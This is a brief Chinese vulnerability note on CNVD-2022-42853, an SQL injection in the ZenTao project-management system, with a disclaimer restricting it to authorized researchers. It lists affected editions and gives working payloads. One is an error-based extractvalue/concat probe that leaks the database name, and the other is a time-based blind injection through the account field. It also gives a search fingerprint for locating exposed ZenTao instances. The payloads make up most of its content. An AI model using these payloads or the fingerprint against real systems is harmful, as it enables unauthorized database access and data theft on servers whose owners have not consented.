author:160team.west9B
仅限用于安全研究人员在授权的情况下使用，遵守网络安全法，产生任何问题，后果自负，与作者无关。
漏洞编号
CNVD-2022-42853 公开日期：2022/6/14
影响产品
禅道企业版 6.5
禅道旗舰版 3.0
禅道开源版 16.5
禅道开源版 16.5.beta1
禅道当前数据库都是zentao,判断注入条件 extractvalue(1,concat(0x7e,(database()),0x7e) == zentao
盲注payload account=admin';SELECT SLEEP(5)#
app="易软天创-禅道系统"